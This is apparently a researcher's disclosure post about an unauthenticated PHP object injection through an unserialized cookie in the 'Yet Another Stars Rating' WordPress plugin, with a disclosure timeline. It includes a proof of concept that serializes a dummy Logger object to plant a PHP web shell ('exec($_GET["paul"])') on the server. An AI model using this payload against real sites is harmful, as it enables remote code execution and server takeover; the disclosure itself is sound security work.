PHP unserialize() Object Injection in Yet Another Stars Rating
Published on 27.01.2019
Published on 27.01.2019
An unauthenticated PHP object injection in the "Yasr – Yet Another Stars Rating" WordPress plugin introduces a starting point for RCE and similar high-severity vulnerabilities. As of 27.01.2019, the plugin has over 20.000 active installations and round about 500.000 downloads.
A shortcode provided by the plugin passes Cookie data without any filtering to PHPs unsafe
PHP lets developers serialize objects so they can be saved into a database or files for later use. When loading the serialized object again, it must be unserialized. This introduces a new object into the current applications lifecycle. There are magic methods that will be called at specific points during execution. The
__wakeup() method for example will be directly called as soon as the serialized data will be reconstructed to a regular object in case the class implements it.
An attacker, that can pass abritary data to unserialize, will try to find classes in the application that make use of magic methods in which interesting logic (such as executing OS commands or writing files) is located in. The class used in an exploit must be declared when the unserialization takes place.
Yasr, as a "powerful way to add SEO-friendly user-generated reviews and testimonials", gives blog owners the ability to add a shortcode to their content, which will add a star rating functionality. The
yasr_visitor_votes shortcode determines if the current visitor already voted for the post in question and will enable/disable the actual vote function accordingly. This is being done with help of the
yasr_visitor_vote_cookie cookie, in which the visitors votes will be saved in.
The vulnerability is being introduced in line
169 in the
$cookie_data = unserialize($cookie_data);
$cookie_data is being set in the previous line by simply reading the yasr_visitor_vote_cookie entry in the
$_COOKIE superglobal and stripping slashes.
The severity of an object injection in PHP highly depends on the codebase. More specifically on the usage of magic methods and class availability, as mentioned above. This is very unlikely to be exploitable in a blackbox test. But WordPress and plugins are open source and plugins used by a blog can easily be enumerated manually or with help of tools like wpscan.
I could not find a way to exploit this with use of the WordPress core. However, this is not needed as blog administrators can install any of the other 50.000+ existing plugins - only counting the ones listed on the actual WordPress plugin page. With the injection point provided by the plugin, code from other plugins, that is safe itself, can be abused to gain access to the server or data. This makes usages of unserialize especially critical in plugins extending a codebase, that might contain uncountable other extensions.
Utilizing an object injection to abuse other plugins classes has been demonstrated by Tom Van Goethem in his "PHP Object Injection Vulnerability in WordPress: an Analysis" presentation.
In order to demonstrate the basic principles of this, I added a dummy
Logger class to my WordPress installation and required it in the main index.php.
In order to achieve a Remote Code Execution, the malicious visitor would probably set the file to anything ending with the .php extension and a message containing PHP code. So we will set the file, in which our message will be saved in, to
shell.php and the content will be the
<?php echo exec($_GET['paul']) ?>.
To abuse the code, an attacker needs to recreate the given class, create an object and serialize it.
$logger = new Logger('exploit.php', '<?php exec($_GET["paul"]) ?>'); echo htmlspecialchars(urlencode(serialize($logger)));
The above code will display the serialized representation of our Logger instance. The only thing we need to do now is passing it via the
yasr_visitor_vote_cookie cookie and visiting a post containing the shortcode. I added the
var_dump output in the __wakeup method, so we can see that it worked right on the page through the following line next to the star rating element:
/home/wordpress/Logger.php:18:string '/home/wordpress/exploit.php' (length=27)
Visiting the exploit.php file with the paul GET-parameter being set to any command, we will have our own little shell on the server now.
27.01.2019 - Reported 27.01.2019 - Fixed in v1.8.7
I have been told by pluginvulnerabilities.com, that this is a duplicate finding. They published a full disclosure on this back in November; not listed on wpvulndb. Right after discovering this, I did a very brief Google search for Yet Another Stars Rating vulnerability to see if there has been any publicly disclosed information recently. What I found was an SQL Injection, that has been fixed. This, in combination with the last commit to the plugin repository, made me confident, that the developer seems to be active and does in fact still maintain the plugin and is responsive in terms of disclosures. That indicates a good chance of getting this fixed as soon as possible to secure 20.000+ blog owners. So I reported it to him on the 27th of January. He thankfully answered me and fixed it on the same day, so I had no reason to think that this is in fact an unfixed duplicate. Looking up his name on Google and contacting him via his personal page took a couple of minutes and was absolutely hassle-free.
So why is this a duplicate? The team at pluginvulnerabilities.com full disclosed it right away "due to the moderators of the WordPress Support Forum’s continued inappropriate behavior" without a reasonable attempt to notify the developer, besides writing a message in the developer forum afterwards. More information can be found in their disclosure. I don't think that the WordPress moderators behaviour is either the plugin maintainer or the blog owners fault, which were at risk because of this. However, I understand their frustration to a certain point.